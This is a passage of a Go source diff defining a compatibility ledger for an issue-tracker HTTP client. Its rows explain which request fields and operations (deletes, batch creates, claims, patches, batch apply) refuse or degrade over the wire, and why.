PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-dep-endpoint", Kind: KindDegrade, + What: "a dependency add whose source or target names no issue refuses as ErrValidation over http, not as *DependencyEndpointNotFoundError wrapping ErrDependencySourceNotFound or ErrDependencyTargetNotFound", + Why: "the wire spells that refusal as a 400 invalid_argument with reason `invalid_value` and the offending member in `param` (internal/httpapi/dependency_edit.go). Reason and code are the same ones a malformed id earns, so the two are indistinguishable without reading `detail` prose — which is exactly what the extension-member vocabulary exists to avoid. " + + "The refusal still FAILS the request and still writes nothing; only its classification is coarser. Upstream ask: a distinguishing code or reason for the endpoint-not-found refusal, which retires this row", + SpecRow: "D8 row 18", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-claim-prose", Kind: KindDegrade, + What: "a claim refusal's MESSAGE does not carry the ClaimedBy/NotClaimableStatus fragments, so beads.ParseClaimConflict recovers nothing from it over http", + Why: "the fragments exist so that parser can recover the conflicting assignee and status from PROSE. Over the wire both arrive as typed extension members and *ClaimConflictError is reconstructed whole, so a caller reading the FIELDS loses nothing. " + + "Recomposing the copy client-side would mean re-implementing which copy each refusal shape gets — an open issue held by someone else deliberately omits the assignee tail, an in-progress one carries it — which is a second implementation of the very rule the fragments were introduced to keep single", + SpecRow: "D8 row 3", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-delete-notfound", Kind: KindDegrade, + What: "issueops.Deleter.Delete over http refuses an absent id as issueops.ErrNotFound, not as *NotFoundError naming WHICH ids did not resolve", + Why: "the role's error is a typo report and names every missing id; the wire deliberately does not repeat them (internal/httpapi's NotFound() carries a FIXED detail, so a 404 body cannot echo caller input back). " + + "The refusal still FAILS the request and still deletes NOTHING — not even the ids beside the typo — so the all-or-nothing promise is intact and only the classification is coarser. " + + "It is stated at the ROLE rather than at a command because `bd delete` is not reachable against an http workspace at all (see httpUnconsumedCapabilities); the embedder holding the role is the audience. Upstream ask: an ids extension member on the not_found problem, which retires this row", + SpecRow: "D8 row 13", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-delete-dependents", Kind: KindDegrade, + What: "the unforced dependents guard refuses as issueops.ErrValidation, not as *DependentsOutsideRequestError wrapping ErrDependentsOutsideRequest", + Why: "the wire spells that refusal as a 400 invalid_argument with no `param` (internal/httpapi's failDeleteErr) — the fix is to change the REQUEST, by sending cascade or force — so the blocked id and its dependents cannot be reconstructed without parsing detail prose, which is what the extension-member vocabulary exists to avoid. " + + "The guard itself is untouched: the request fails and the graph is whole. Upstream ask: a dependents_outside_request code carrying issue_id and dependents, which retires this row", + SpecRow: "D8 row 13", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-delete-bound", Kind: KindRefuse, + What: "issueops.Deleter.Delete refuses a request naming more than 1000 ids, citing the wire bound; it is never split across requests", + Why: "maxDeleteIDs = 1000 (internal/httpapi/delete.go). Splitting is the one path that silently breaks the request's one-transaction, one-history-entry contract — and it would ask the dependents guard about half a request at a time, so a pair the caller deliberately listed together would be refused as an outside dependent. Naive forwarding at least fails loudly. Stated at the ROLE: `bd delete` cannot reach an http workspace, so the embedder is the audience", + SpecRow: "D8 row 13, D9 L16 (the same argument, on the other bulk write)", + // The boundary itself, both sides: exactly maxDeleteIDs serves, one + // more refuses, and the refusal never dials. + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-batchcreate-bound", Kind: KindRefuse, + What: "`bd create --file` carrying more than 100 issues refuses, naming the wire bound; it is never split across requests", + Why: "maxBatchCreateItems = 100 (internal/httpapi/batch_create.go). The request IS the transaction, so two requests are two transactions and two history entries where the role promises one — and a failure in the second leaves half a plan created, which is the outcome all-or-nothing exists to make impossible", + SpecRow: "D8 row 14, D9 L16", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-edgecount-bound", Kind: KindRefuse, + What: "issueops.GraphCounter.CountEdges refuses a request naming more than 100 DISTINCT anchors, citing the wire bound; it is never chunked across requests", + Why: "maxDependencyAnchors = 100 (internal/httpapi/edges.go), the same bound the stored-edge read on this collection carries — the role deliberately sets none of its own and says the bound belongs to the WIRE. " + + "Chunking is what a READ could get away with and this one cannot: CountEdges promises that an anchor's EXISTENCE and its edge count are read from one consistent view, so two requests would let an anchor be reported missing by a probe that raced a create the other chunk's count already saw — one answer contradicting itself, which is the exact failure AnchorEdgeCount.Missing exists to make impossible. " + + "Refusing at the bound fails loudly instead, and the caller splits the question knowing it asked twice. Upstream ask: a cursor or a higher bound on the anchor list, which retires this row", + SpecRow: "D9 L16 (the same argument, on a read), D8", + // The boundary itself, both sides: exactly 100 anchors serve, 101 + // refuse, and the refusal never dials. + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-batchcreate-target", Kind: KindDegrade, + What: "a batch create whose edge target names no issue refuses as issueops.ErrValidation alone, not as ErrValidation WRAPPING ErrNotFound", + Why: "the wire answers a dangling edge target with a 400 invalid_argument naming `items` (internal/httpapi's failBatchCreate), and deliberately does not quote the role's own message, which arrives as a driver error naming tables and constraints. The refusal still fails the whole batch and creates nothing — the promise the row is about — and only the second sentinel is lost. Upstream ask: a distinguishing code for the absent-target refusal", + SpecRow: "D8 row 14", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-batchcreate-inbatch", Kind: KindRefuse, + What: "an edge onto an EARLIER ITEM OF THE SAME BATCH cannot be expressed at all over http", + Why: "the capability needs the earlier item to have named an id for itself, and apigen.BatchCreateItem publishes no id member — an explicit id is refused with the rest of W-BatchCreateItem.Issue. So the target of an in-batch edge can only be a row the workspace already holds. " + + "It is a REFUSE row rather than a degrade because the request that asks for it fails: the client refuses the explicit id before the dial, and there is no second spelling that would land the edge silently. The wire's own `target_id` description names this case, so the gap is in the SCHEMA rather than in the handler — the upstream ask is an item id member, which retires this row", + SpecRow: "D8 row 14", + PinnedBy: pinnedByS3Conformance, + }, + // L17 (the conditional GH#5005 dep-remove guard) is DELETED, not present as a + // row: ga-b8ddd.30's dual run proved the wire surfaces unresolved + // depends_on_id rows verbatim (see pinnedElsewhere above), so the + // degradation it was contingent on never materialized. The L-sequence skips + // from L16 to L18 for that reason. + { + // IT WAS MISSING HERE while the design carried it and F-close cited + // it TWICE, so RowByID("L18") panicked on a citation the ledger's own + // prose made. The design's record is the one transcribed below. + ID: "L18", Kind: KindDegrade, + What: "DOWN-LEVEL ONLY: against a server that does not advertise issues.batchClose, a single-id `bd close` still composes onto closeIssue and records the SERVER's own close commit message rather than the batch's id-naming entry; the multi-id and --claim-next shapes refuse there", + Why: "the composed leg is one closeIssue call, so the history entry it leaves is the one that operation writes for itself — the batch's entry names the ids it closed and this one cannot, because no batch ran. " + + "Where issues.batchClose IS advertised the whole request is one call and one server-side transaction, so this divergence does not arise at all; the down-level leg survives on purpose, because `bd close` worked against pre-batchClose servers before this port and refusing it now would be a regression dressed as progress. It is the same posture L14 takes toward issues.claimNext. " + + "It is a degrade rather than a refuse because the close LANDS and the answer is neither narrower nor wider than the caller asked for — only the record of it is the operation's rather than the batch's. Retirement is a fleet fact rather than an upstream ask: the row goes when no server this client may meet is older than issues.batchClose", + SpecRow: "D9 L18, D8 row 17", + // The down-level leg, driven against a store whose stub carries no + // capabilities: the single-item shape composes and every other shape + // refuses without dialing. + PinnedBy: pinnedByS3Conformance, + }, + } +} + +// writeSideRows are the refuse-not-drop enumeration D8 closes with: role-request +// fields on the SERVED writes that the wire publishes no member for. +// +// This package encodes none of these shapes — they are request bodies, not +// query strings — but the rows live here because the ledger is one artifact, +// and because a renamed or deleted field is caught by the same reflection the +// read shapes get. +func writeSideRows() []Row { + const updateSpec = "D8 refuse-not-drop, D7" + // The lifecycle wiring landed, and with it the sweep that drives every + // excluded member one at a time and asserts each fails WITHOUT dialing. The + // completeness of this population — that no member reaches the wire + // unclassified in the first place — is the store package's write-ledger + // gate, which reflects these rows against the apigen bodies. + const pinned = pinnedByS3Conformance + return []Row{ + { + ID: "W-UpdateRequest.Claim", Kind: KindRefuse, + Type: tyUpdateRequest, Field: "Claim", + What: "a claim combined with any other UpdateRequest member refuses; a claim ALONE does not — it dials claimIssue directly (see httpLifecycle.claimOnlyUpdate)", + Why: "a claim is claimIssue's own operation and updateIssue cannot perform one, on this wire or on any other; it is the one row here that upstream #5484 did not touch. " + + "claimIssue's own request is the actor alone, so a claim-only UpdateRequest IS that request and is served through the Claimer role instead of refusing — that is gc's exclusive claim path, `bd update --claim --json`. " + + "What still refuses is PATCH claim: a claim folded into one atomic transaction WITH a patch, a guard or a force override, which no operation on this wire publishes and which is not synthesized as two calls (claimIssue then updateIssue), since that would let a caller observe an issue claimed but not yet patched. Upstream gastownhall/beads#6890 tracks the capability that would carry both in one call", + SpecRow: updateSpec, + PinnedBy: pinned, + }, + { + // What/Why below are plain and short DELIBERATELY: RefusedError.Error() + // prints both verbatim to whatever reads the returned error, all the + // way out to a CLI user running `bd update --claim` over an + // http workspace — so this is user-facing prose, not an internal + // engineering note, and it should read that way. + // + // The engineering rationale, for a future reader of this file: the v0 + // wire's claimIssue operation (issueops.Claimer's own contract) + // answers a wisp id with ErrNotFound on every backend, including the + // direct route's own claim-by-id — the wisp plane is not claimable + // through that role at all. But claimOnlyUpdate's caller is + // `bd update --claim`, whose Lifecycle.Update DOES claim wisps + // locally (issue-or-wisp routing). Over http, that command is served + // through claimIssue rather than through updateIssue's general + // wisp-aware routing, so a wisp id would otherwise surface the wire's + // generic not-found — a live row reported as though it does not + // exist, indistinguishable from an id naming nothing at all, which a + // not-found-sensitive caller (gc's Claim among them) would read as + // missing rather than as an unclaimable wisp. This refuses by name + // instead, once the client itself recognizes the id names a wisp — + // which it learns only AFTER claimIssue itself answers not_found (see + // claimOnlyUpdate), so an ordinary claim of a real, non-wisp issue + // never pays this probe. Serving a wisp-aware claim (a server-side + // ClaimWisp capability) is tracked as a pending decision, not + // implemented here. + ID: "W-ClaimRequest.Wisp", Kind: KindRefuse, + What: "claiming a wisp is not supported over http", + Why: "the v0 wire's claim operation excludes the wisp plane on every backend; claim this issue from a local workspace instead", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-UpdateRequest.ForceAssigneeTransfer", Kind: KindRefuse, Flag: "--force", + Type: tyUpdateRequest, Field: "ForceAssigneeTransfer", + What: "bypassing the anti-steal assignee fence refuses", + Why: "the wire publishes `force_assignee_transfer` (upstream #5484) and this client does not send it. What the refusal STANDS ON changed with client wave ga-7i6by and the row is narrower for it: the `assignee` the fence guards IS now sent (W-IssuePatch.Assignee), so what is left is the bypass alone. " + + "The fence itself is unbypassable rather than absent — a transfer away from a live foreign in-progress owner refuses with already_claimed, and a matched `expected_assignee` is the OTHER bypass, which this client does send. Carrying this one is a two-member port tracked as ga-2ltro.15", + SpecRow: updateSpec, + PinnedBy: pinned, + }, + { + ID: "W-UpdateRequest.ForceClosePolicy", Kind: KindRefuse, Flag: "--force", + Type: tyUpdateRequest, Field: "ForceClosePolicy", + What: "bypassing close policy on a status-crossing update refuses", + Why: "the wire publishes `force_close_policy` (upstream #5484) and this client does not send it; see W-UpdateRequest.ForceAssigneeTransfer for what the refusal now stands on, since client wave ga-7i6by sends the `status` whose crossing the policy gates. " + + "The policy is therefore enforced and not bypassable here: a status crossing into the done category with open children or a live blocker refuses with not_closable, typed, and writes nothing. Tracked as ga-2ltro.15", + SpecRow: updateSpec, + PinnedBy: pinned, + }, + { + ID: "W-UpdateRequest.ExpectedVersion", Kind: KindRetired, + What: "the compare-and-set row-version precondition used to refuse", + Why: "RETIRED by the client wave that sends it (ga-jbuyf). The refusal was always the CLIENT's rather than the document's — upstream #5484 published `expected_version` and this client had not been taught to emit it — and the row said so in as many words: 'flipping it is a port, not a decision: send the member, retire this row, and turn the refusal pin into a round-trip pin'. " + + "That is what happened. The member is now sent as a POINTER, so absent stays absent: 0 is a legal token (the migration-0054 backfill left rows holding it) and encoding 'no guard' as 0 would have armed a guard on every unguarded update. The pin below asserts the round trip in both directions", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-UpdateRequest.ExpectedAssignee", Kind: KindRetired, + What: "the compare-and-set assignee precondition used to refuse", + Why: "RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). Its own trap is the mirror image of that one's: the EMPTY assignee is a real guard — it is how a caller says 'only if nobody holds it' — so this member cannot be omitted when it is empty either. " + + "A pointer expresses both, and the pin drives the empty-string guard as its own case", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-UpdateRequest.ExpectedStatus", Kind: KindRetired, + What: "the compare-and-set status precondition used to refuse", + Why: "RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). The status guard is the readable one — `Issue.status` is on every read of this surface, so a caller can guard a transition with no token at all — and it is sent as the workspace's own status vocabulary, verbatim", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-UpdateRequest.IssuePlaneOnly", Kind: KindRefuse, + Type: tyUpdateRequest, Field: "IssuePlaneOnly", + What: "restricting an update to the issue plane refuses", + Why: "updateIssue publishes no plane restriction and the server's role auto-resolves both planes, so dropping the flag would EDIT the wisp the caller asked to be told did not exist — the widening refuse-not-drop exists to stop. " + + "Not in the design's own enumeration: the page lists the UpdateRequest members it had reviewed, and this one was found while wiring the role", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-UpdateRequest.Provenance", Kind: KindRefuse, + Type: tyUpdateRequest, Field: "Provenance", + What: "labeling an update's history entry refuses", + Why: "updateIssue publishes no provenance member and the server writes its own label, so a dropped Provenance would leave the history entry naming the SERVER's surface while the caller believed it named theirs. " + + "It is refused rather than degraded because the field's whole purpose is the label, so dropping it drops the request", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-CloseRequest.ExpectedVersion", Kind: KindRetired, + What: "the compare-and-set row-version precondition on a close used to refuse", + Why: "RETIRED by the client wave that sends it (ga-jbuyf). CloseIssueRequest publishes expected_version (upstream #5506) and this client now emits it, so the guard reaches the server rather than refusing here — and the ordering the role promises, that the precondition is checked BEFORE the idempotent re-close, is the server's to keep and the served tier's to assert", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-ReopenRequest.ExpectedVersion", Kind: KindRetired, + What: "the compare-and-set row-version precondition on a reopen used to refuse", + Why: "RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf). The design's enumeration named the close half only, and the reopen half is the same field on the same verb pair — it retires the same way", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-DeleteRequest.ExpectedVersion", Kind: KindRetired, + What: "the compare-and-delete row-version precondition used to refuse", + Why: "RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf), and it is the one whose stakes made the refusal worth having: dropping this guard erases a row the caller had asked not to erase, with nothing left to compare afterwards. " + + "The multi-id refusal the wire attaches to it is deliberately NOT anticipated client-side: distinctness is measured after trimming and collapsing duplicates, which is the normalization this role sends its ids verbatim to avoid re-implementing", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-ReopenRequest.Provenance", Kind: KindRefuse, + Type: tyReopenRequest, Field: "Provenance", + What: "labeling a reopen's history entry refuses", + Why: "reopenIssue publishes no provenance member and the server writes its own fixed label (`bd serve: reopen issue`); see W-UpdateRequest.Provenance", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-AddDependenciesRequest.SkipPerEdgeCycleCheck", Kind: KindRefuse, Flag: "--no-cycle-check", + Type: tyAddDeps, Field: "SkipPerEdgeCycleCheck", + What: "`bd dep add --no-cycle-check` refuses on the bulk --file path", + Why: "the wire deliberately leaves SkipPerEdgeCycleCheck UNPUBLISHED and therefore false (internal/httpapi/dependency_edit.go). The single-edge spelling forwards false and only gates the post-hoc cycle warning, which the wire-backed CycleDetector serves, so it is served-with-note rather than refused", + SpecRow: "D7, D8 row 18, D9 L16", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-IssuePatch.Status", Kind: KindRetired, + What: "`bd update -s` used to refuse", + Why: "RETIRED with client wave ga-7i6by. IssuePatchBody published `status` with upstream #5484 and this client's encoder now emits it; close and reopen still carry the lifecycle semantics a status write has nowhere to put — the reason and session under first-close-wins, the done-status normalization, the already-closed idempotence flag — and stay the operations to reach for. " + + "What this member serves is the status moved ALONGSIDE other fields in one transaction, which is the thing two calls cannot do", + SpecRow: "D8 refuse-not-drop", + PinnedBy: patchMemberPin, + }, + { + ID: "W-IssuePatch.Assignee", Kind: KindRetired, + What: "assignment and unassignment through update used to refuse", + Why: "RETIRED with W-IssuePatch.Status (ga-7i6by). The EMPTY STRING is the half that makes this member more than a rename: it UNASSIGNS, so a client that skipped an empty value would turn a real edit into no edit at all. " + + "The anti-steal fence around it is the server's and is unchanged — a transfer away from a live foreign in-progress owner still refuses with already_claimed, and the two bypasses (`force_assignee_transfer` and a matched `expected_assignee`) are W-UpdateRequest.ForceAssigneeTransfer and the guard wave's own", + SpecRow: "D8 refuse-not-drop", + PinnedBy: patchMemberPin, + }, + { + ID: "W-IssuePatch.Metadata", Kind: KindRetired, + What: "a metadata patch used to refuse", + Why: "RETIRED with W-IssuePatch.Status (ga-7i6by). IssuePatchBody publishes the same replace/merge/set/unset algebra MetadataPatch carries, member for member, so the client projects it rather than translating it and the ordering rule — merge, then set in key order, then unset, with replace refusing beside the other three — stays the ROLE's, applied by the same body a local workspace runs. " + + "The CLEAR is the one state the wire's own struct cannot spell (`omitempty` omits it), which is why the document is built as a map and an empty replacement travels as the empty document. The compare-and-set door is a different question and is served by its own accessor (issues.casMetadata, ga-7i6by's other half)", + SpecRow: "D8 refuse-not-drop", + PinnedBy: patchMemberPin, + }, + // Four of these are refused by BOTH patch documents — updateIssue's and + // issues:batchApply's — so one row covers both operations rather than a + // second reason being minted for one fact. Owner is the exception and + // says so: ApplyPatchBody publishes it, and the batch's own encoder + // carries it. + patchRow("SpecID", "a spec-id edit refuses", "neither IssuePatchBody nor ApplyPatchBody publishes spec_id"), + patchRow("AwaitID", "an await-id edit refuses", "neither IssuePatchBody nor ApplyPatchBody publishes await_id"), + patchRow("Owner", "an owner edit refuses ON updateIssue", + "IssuePatchBody excludes owner — which the document itself calls an accident of order rather than a decision, since ApplyPatchBody DOES publish it and issues:batchApply's update item carries it"), + patchRow("ClosedBySession", "a closed-by-session edit refuses", "neither IssuePatchBody nor ApplyPatchBody publishes closed_by_session"), + patchRow("Persistence", "a persistence-mode edit refuses", + "neither body publishes persistence: moving a row between planes mid-plan is a different act from writing its fields"), + { + ID: "W-IssuePatch.ParentID", Kind: KindRetired, + What: "a parent re-hang through update used to refuse", + Why: "RETIRED with W-IssuePatch.Status (ga-7i6by). It is ONE call rather than a remove-then-add pair, which is the whole reason the member exists: the two-call spelling leaves the issue parentless if the second call fails, and dependencies:add/remove — still the general write side of the graph over this wire — cannot express the atomic replacement. " + + "The empty string removes every parent-child edge, so it travels like `assignee`'s empty string rather than being skipped. The graph refusals it earns are the server's and arrive typed: a cycle through the issue's own descendant as the PLAIN dependency_cycle, and an existing edge of another type as dependency_exists", + SpecRow: "D8 refuse-not-drop", + PinnedBy: patchMemberPin, + }, + { + ID: "W-CreateBatchRequest.Provenance", Kind: KindRefuse, + Type: tyCreateBatch, Field: "Provenance", + What: "labeling a batch create's history entry refuses", + Why: "batchCreateIssues publishes actor and items only, and the server writes its own label; see W-UpdateRequest.Provenance. It is the one Provenance whose ABSENCE is visible in shipped history — the surface this role serves has always named its source file in the entry (`bd: create 3 issue(s) from plan.md`)", + SpecRow: "D8 row 14 refuse-not-drop", + PinnedBy: batchCreatePin, + }, + { + ID: "W-CreateBatchRequest.ForceIDPrefix", Kind: KindRefuse, Flag: "--force", + Type: tyCreateBatch, Field: "ForceIDPrefix", + What: "permitting explicit ids outside the workspace's configured prefix refuses", + Why: "the wire publishes no such member — and could not honor one, since it publishes no explicit id for the flag to permit (W-BatchCreateItem.Issue). Dropping it would answer a request about WHERE ids may be written with a batch whose ids the server chose", + SpecRow: "D8 row 14 refuse-not-drop", + PinnedBy: batchCreatePin, + }, + { + ID: "W-BatchCreateItem.Issue", Kind: KindRefuse, + Type: tyBatchCreateItem, Field: "Issue", + What: "an item whose Issue populates any member outside the wire's eight refuses, naming the member", + Why: "apigen.BatchCreateItem carries title, description, design, acceptance_criteria, priority, issue_type, assignee and labels and nothing else, while the role accepts far more of a types.Issue: an explicit id, the wisp flags, metadata, the storage class, every timestamp, the gate/molecule/event fields. " + + "ONE row rather than one per member because the reason is one reason — the wire's item vocabulary — and forty rows repeating it would say nothing a reader does not learn here. Exhaustiveness is held by REFLECTION instead: the client's carried and role-ignored tables are checked against types.Issue field by field, so a member added upstream is refused the day it lands rather than dropped until someone notices. " + + "The members the role ITSELF ignores on a create (ContentHash, RowVersion, lease, compaction, routing overrides, hydration flags) are not in this population and are not refused: a local create drops them too", + SpecRow: "D8 row 14 refuse-not-drop", + PinnedBy: batchCreatePin, + }, + // The three edge rows are BATCH-CREATE's, and the qualifier is + // load-bearing now that a second operation writes the same shape: + // createIssue's own edge publishes `reverse` and `metadata` (its issue + // HAS an id for a target to point back at, which a batch item does + // not), so the client sends both there. Only ThreadID is refused on + // both, because no operation publishes a thread member. + createDependencyRow("Reverse", "an edge written from the target back to the new issue refuses ON A BATCH CREATE", + "BatchCreateDependency carries target_id and type only; dropping Reverse would write the edge in the OPPOSITE direction from the one asked for, which is a different graph. createIssue's CreateIssueDependency DOES publish it, and the single-create path sends it"), + createDependencyRow("Metadata", "typed edge metadata refuses ON A BATCH CREATE", + "BatchCreateDependency publishes no metadata member, and a waits-for gate whose metadata was dropped is a readiness rule that silently does not hold. createIssue's edge publishes it, and the single-create path sends it verbatim"), + createDependencyRow("ThreadID", "associating an edge with a discussion thread refuses", + "neither BatchCreateDependency nor CreateIssueDependency publishes a thread member"), + { + ID: "W-CreateRequest.IDPrefix", Kind: KindRefuse, + Type: tyCreateRequest, Field: "IDPrefix", + What: "overriding the prefix an explicit id is checked against refuses", + Why: "createIssue publishes no `id_prefix`, and the omission is the SERVER's decision rather than a gap (internal/httpapi/create.go): the field exists because a workspace's own config.yaml prefix wins over the database's and only a local front door can read that file, so a remote caller's config.yaml describes a workspace this server does not serve. " + + "Publishing it would let a caller override the served workspace's prefix rule from outside it. Dropping it instead would check the id against the SERVER's prefix while the caller believed it was checked against theirs — the same request, two different answers to 'may this workspace mint this id'", + SpecRow: "D8 row 16 refuse-not-drop", + PinnedBy: createPin, + }, + { + ID: "W-CreateRequest.Issue", Kind: KindRefuse, + Type: tyCreateRequest, Field: "Issue", + What: "a create whose Issue populates any member outside the wire's twenty refuses, naming the member", + Why: "createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation stamp (created_at, created_by), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. " + + "ONE row rather than one per member for W-BatchCreateItem.Issue's reason — the reason is one reason — and exhaustiveness is held by the same REFLECTION over types.Issue, sharing the role-ignored table with the batch so the two operations cannot disagree about what the ROLE drops. " + + "Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence", + SpecRow: "D8 row 16 refuse-not-drop", + PinnedBy: createPin, + }, + { + ID: "L-create-notfound", Kind: KindDegrade, + What: "a create whose dependency or waits-for target names no row refuses as issueops.ErrValidation ALONE — not as ErrValidation wrapping ErrNotFound — and does not name the target", + Why: "the wire answers a dangling target with a 400 invalid_argument naming `dependencies` and a FIXED detail (internal/httpapi's failCreateIssue), which deliberately does not quote the role's own message: that message arrives as a driver error naming tables and constraints, and 4xx details on this surface reflect the caller's own input back rather than server internals. " + + "The refusal still fails the whole request and creates NOTHING — the promise the row is about — and only the second sentinel and the target's name are lost. It is batchCreateIssues' L-batchcreate-notfound on the single create, and it retires the same way: an upstream code that distinguishes the absent-target refusal and carries the target. " + + "A missing --parent target already retired out of this row: failCreateIssue's errors.As(&parentNotFound) arm answers it with a distinguishing 404 not_found that names the target, and the client maps that to issueops.ErrNotFound (see TestServedCreateRefusesAnAbsentParentAsNotFound) — the row now covers only dependency and waits-for targets", + SpecRow: "D8 row 16", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-create-prefix", Kind: KindDegrade, + What: "an unforced explicit id outside the workspace's configured prefix refuses as issueops.ErrValidation rather than as storage.ErrPrefixMismatch", + Why: "the wire spells that refusal as a 400 invalid_argument with `param: \"id\"` and `reason: invalid_value` (internal/httpapi's failCreateIssue), which is the SAME pair a malformed or oversized `id` earns — so nothing on the wire tells the two apart, and reconstructing the typed sentinel from the pair would misclassify every other refusal of that member. " + + "The guard itself is untouched: the id is refused, nothing is created, and the detail names `force_id_prefix` as the bypass, which is the recovery a caller needs. What is lost is the errors.Is arm both local front doors use to decide whether to re-offer the create with --force. Upstream ask: a prefix_mismatch code, or a reason that distinguishes it, which retires this row", + SpecRow: "D8 row 16", + PinnedBy: pinnedByS3Conformance, + }, + // The issues:batchApply population, from client wave ga-mijra. It is + // SMALL, and that is the operation rather than an oversight: the create + // item publishes createIssue's whole twenty, the close item maps whole, + // the edge item maps whole, and the update item's patch is WIDER than + // updateIssue's in the two places that matter to a plan (a full label + // patch, and `owner`). What is left is one patch member and two facts + // about the RESULT. + { + ID: "W-CreateItem.Issue", Kind: KindRefuse, + Type: tyApplyCreateItem, Field: "Issue", + What: "a create ITEM whose Issue populates any member outside the wire's twenty refuses, naming the member", + Why: "ApplyCreateItem publishes exactly createIssue's create vocabulary — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue, for the reasons W-CreateRequest.Issue gives in full. " + + "It is a row of its OWN rather than a citation of that one because the operations are different: a caller auditing why their PLAN refuses must not be sent to a row about a single create, and the two can diverge the day either vocabulary moves. The partition itself is SHARED — one carried table, one role-ignored table, held against types.Issue by the same reflection — so they cannot disagree about what the wire carries or about what the role drops. " + + "Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all", + SpecRow: "D8 refuse-not-drop", + PinnedBy: applyPin, + }, + { + ID: "W-ApplyPatch.ParentID", Kind: KindRefuse, + Type: tyIssuePatch, Field: "ParentID", + What: "a parent re-hang inside an update ITEM refuses, where the same member serves on updateIssue", + Why: "ApplyPatchBody deliberately publishes no parent_id, and the absence is this operation's ONE-EDGE-ONE-SPELLING rule rather than a gap: a parent is a dep_add item of type parent-child, so the ORDER of every edge in a plan stays total and there is exactly one place an edge is written. " + + "The single patch has no ordering to express and publishes the member directly (W-IssuePatch.ParentID, retired by client wave ga-7i6by), which is why the same Go field is carried by one document and refused by the other. " + + "Refusing is not a loss of capability, only of spelling: a plan re-hangs a parent with a dep_add item, which is the atomic replacement in the position the caller declared it", + SpecRow: "D8 refuse-not-drop", + PinnedBy: applyPin, + }, + { + ID: "L-apply-snapshot", Kind: KindDegrade, + What: "every ItemResult of a batch apply comes back with Issue nil, where a local backend hydrates a post-item snapshot", + Why: "the WIRE result is lean by the document's own decision and the role's leaf says why: ApplyItemResult carries ids, `changed` and `revision` and no issue, because the Go contract carries the snapshot for its COMPLETION HOOKS — which hand a script the row they are telling it about — and hooks never fire on the http surface at all. A hundred hydrated issues with their labels and edges would be a response an order of magnitude larger than the request that produced it. " + + "What a caller loses is a read it can make: the ids ARE published, per item and through Keys, so the rows are one getIssue away and the plan's next step is composed from ids rather than from snapshots. It is a degradation rather than a refusal because nothing about the WRITE differs — every item landed exactly as asked — and refusing would make the whole operation unavailable over http to keep a member no consumer on this surface can use", + SpecRow: "D8 refuse-not-drop (result half)", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-apply-ref", Kind: KindDegrade, + What: "an unresolvable metadata_refs key comes back as a *RefError naming the MEMBER rather than the key, and the reconstructed error replaces the server's problem envelope", + Why: "the wire's 400 names the offending member in `param` — `items[3].create.metadata_refs` — and carries the item index, the item's key and `declared_later`, but not WHICH entry of the refs map failed: the role's RefError.Member is diagnostic prose (`metadata_ref `) rather than a vocabulary, so the server maps it onto the document's own member names instead of publishing it. The two ADDRESSING refs, target and source, are named exactly. " + + "The envelope is dropped because issueops.RefError has nowhere to put it: its Unwrap is hardcoded to ErrValidation and it carries no member for a cause, which is the role type's shape rather than a choice made here. The discriminator a caller ACTS on — an ordering mistake against a typo — survives whole, in both polarities. Upstream ask: a typed ref-key member on the problem document, which retires this row", + SpecRow: "D8 refuse-not-drop (result half)", + PinnedBy: pinnedByS3Conformance, + }, + { + // The COMMENT population, from client wave ga-f352s, and it is the + // one divergence on that role: the request maps member for member, + // so nothing refuses on shape and there is no W- row. + ID: "L-comment-author", Kind: KindDegrade, + What: "a comment's AUTHOR is subject to the server's own actor rule, which no local leg applies: it is stored TRIMMED where a local backend stores it verbatim, and one carrying a control character is refused (issueops.ErrValidation) where a local backend stores it", + Why: "the operation validates `author` with the `actor` rules whole (internal/httpapi's validateNameMember: trim, refuse empty, refuse past 256 bytes or 255 characters, refuse any control rune) and passes the TRIMMED value on to the role, while issueops.ValidateAddCommentRequest checks only that the field is non-empty and stores what it was given. So the same request produces a different STORED VALUE on the two legs, and a value one leg stores the other refuses. " + + "IT IS THE SERVER'S RULE AND THE DOCUMENT PUBLISHES IT, which is why this is a ledger row rather than a bug on either side: the schema states 